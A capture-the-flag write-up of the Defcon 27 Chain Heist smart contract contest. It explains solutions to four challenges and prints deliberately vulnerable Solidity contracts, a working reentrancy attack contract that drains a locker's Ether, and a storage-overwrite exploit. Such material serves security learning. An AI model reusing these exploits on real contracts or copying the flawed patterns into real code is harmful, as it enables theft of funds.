Chain Heist CTF Writeup

Peter Kacherginsky
5 min readSep 19, 2019

--

Defcon 27 featured a Blockchain Security Village with a number of excellent talks and contests. During the event, I had the pleasure of competing and winning a smart contract security CTF called Chain Heist. The contest was sponsored by Synopsys and featured 23 challenges of varying difficulty.

The write up below will cover information about the game as well as solutions for some of my favorite challenges.

The Interface

One of the highlights of the game was a beautiful interface which was built as an Ethereum DApp capable of automatically deploying contracts for each player. You will need to install Metamask and register as a bounty hunter before participating.

Each challenge featured a vulnerable smart contract address and an optional deployment mechanism:

It was possible to track current participants and points scored on the Bounty Hunter page. Here you can see the tight race between myself and maurelian toward the end of the contest:

Challenges

Account Unlock (easy)

Challenge: Help me find the password stored at the contract address 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0

pragma solidity ^0.5.0;contract AccountUnlock{    string public password = “[REDACTED]”;    function verify(string memory _password) public view returns (bool){
require(keccak256(abi.encode(password)) == keccak256(abi.encode(_password)));
return true;
}
}

Based on the source above, the contract is unlocked with a value stored in the first storage slot “password”. We are going to use the excellent mythril utility to read what is stored there:

$ myth read-storage — rpc infura-ropsten 0 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0
0: 0x5374726f6e6750617373776f7264313233000000000000000000000000000022

Converting the above hex values to ASCII gives used the password: StrongPassword123

Bank Locker (medium)

Challenge: Getting more than what you deposit is always fun. Drain the target contract of all its Ether.

pragma solidity ^0.5.0;import "../zeppelin/SafeMath.sol";contract Locker {    using SafeMath for uint256;
mapping(address => uint256) private balance;
mapping(address => bool) private accountBook;
modifier checkPoint() {
require(accountBook[msg.sender],"You need to have an account with us");
_;
}
modifier alreadyExists(){
require(!accountBook[msg.sender],"You are already an account holder");
_;
}
function createAcc() public alreadyExists() {
accountBook[msg.sender]=true;
}
function deposit() internal checkPoint(){
require(msg.value>0,"Please send some funds");
balance[msg.sender] = balance[msg.sender].add(msg.value);
}
function checkBalanceUser() public view checkPoint() returns(uint256) {
return balance[msg.sender];
}
function withDraw(uint256 _amount) public checkPoint() {
require(balance[msg.sender]>0,"You dont have any balance");
balance[msg.sender] = balance[msg.sender].sub(_amount);
address(msg.sender).call.value(_amount)("");
}
function closeAccount() public checkPoint(){
require(balance[msg.sender]>0,"You dont have any balance");
address(msg.sender).call.value(balance[msg.sender])("");
accountBook[msg.sender] =false;
balance[msg.sender]=0;
}
function checkBalance() view public returns(uint256) {
return address(this).balance;
}
function() payable external {
deposit();
}
}

The above code is vulnerable to the reentrancy vulnerability when calling the closeAccount() function. We can exploit it with the following contract which will continuously call the vulnerable function every time it receives funds:

contract Reenter {
address payable public addr= 0xb947F6Bd0FB99219ddf1FEa82281125396f12634;
Locker public locker;

constructor() public payable {
locker = Locker(addr);
}

function attack() public {
locker.createAcc();
addr.call.value(address(this).balance)("");
locker.closeAccount(); // trigger the exploit
}


function() external payable {
if (address(locker).balance != 0 ) {
locker.closeAccount(); // reenter
}
}
}

ReverseEng 1 (medium)

Challenge: Ethereum is an open platform with lots of visibility. But if the source code isn’t provided you’ll have to figure out on your own what a contract can do. Deploy this contract and then change the value of ‘solved’ to boolean true.

pragma solidity ^0.5.0;contract ReverseEng {
bool public solved = false;
function () external payable {
// [REDACTED]
solved = true;
}
}

The contract source code is mostly missing so we need to decompile the bytecode first:

bool solved;function 799320bb() public view {
return(solved);
}
function () public payable {
require((msg.value == 2a));
solved = true;
return;
}

The contract defines a single fallback payable function which flips the solved variable. It requires exactly 42 Wei in order to run.

Vehicle Registration System (hard)

Challenge: Can you please register a vehicle with Serial Number “12345” and OwnerName “RandomUser”

pragma solidity ^0.4.24;contract VehicleRegister {
bool public registrationAllowed = false;
struct Record{
uint256 serialNumber;
string Ownername;
bytes32 registrationTag;
}
struct UniqueTag{
bytes32 registrationTag;
string licenseNumber;
}
mapping(uint256 => bytes32) private registrationTagRecord;
mapping(bytes32 => bool) private registrationTagRecordExists;
mapping(bytes32 => UniqueTag) private uniqueIDRecord;
function registerVehicle(uint256 _serialNumber, string _Ownername) public {
require(registrationAllowed, "Sorry, registration is closed");
Record record;
record.Ownername = _Ownername;
record.serialNumber = _serialNumber;
record.registrationTag = keccak256(abi.encode(_serialNumber,_Ownername));
registrationTagRecord[_serialNumber]=record.registrationTag;
registrationTagRecordExists[record.registrationTag] = true;
}
function getRegistrationTag(uint256 _serialNumber) public view returns (bytes32){ require(registrationTagRecordExists[registrationTagRecord [_serialNumber]]);
return registrationTagRecord[_serialNumber];
}
function getUniqueID(bytes32 _registrationTag, string _licenseNumber)public returns (bytes32){
UniqueTag instance;
instance.registrationTag = _registrationTag;
instance.licenseNumber =_licenseNumber;
if (!registrationTagRecordExists[_registrationTag]){
return keccak256(abi.encode("0000"));
}
bytes32 _uniqueID = keccak256(abi.encode(_registrationTag,_licenseNumber));
uniqueIDRecord[_uniqueID]=instance;
return _uniqueID;
}
function registrationTagVerify(bytes32 _registrationTag) public view returns (bool){
return registrationTagRecordExists[_registrationTag];
}
}

In order to register a new vehicle we must call registerVehicle() function. Unfortunately, the boolean variable registrationAllowed is set to False with no apparent way of resetting it.

Notice two structs in the source code above: Record and UniqueTag. An important feature of structs is that unless you specify the “memory” keyword when accessing them inside a function they will default to global storage. This could have undesirable effect of overwriting whatever is stored there. The getUniqueID is missing the “memory” keyword so it would in fact overwrite anything in storage:

function getUniqueID(bytes32 _registrationTag,string _licenseNumber)public returns (bytes32){
UniqueTag instance; // Missing “memory” keyword
instance.registrationTag = _registrationTag; // storage 0
instance.licenseNumber =_licenseNumber; // storage 1

The first storage slot is in fact boolean registrationAllowed which is preventing us from registering a new vehicle. It is currently set to false:

$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000000

Let’s overwrite it by exploiting the above vulnerability using Remix:

Checking the storage slot again confirms that it was reset to true:

$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000001

At this point we can submit a new transaction to register a vehicle and complete the challenge.

Thanks to organizers for bringing this gem to Defcon and hope to see Chain Heist again next year.

--

--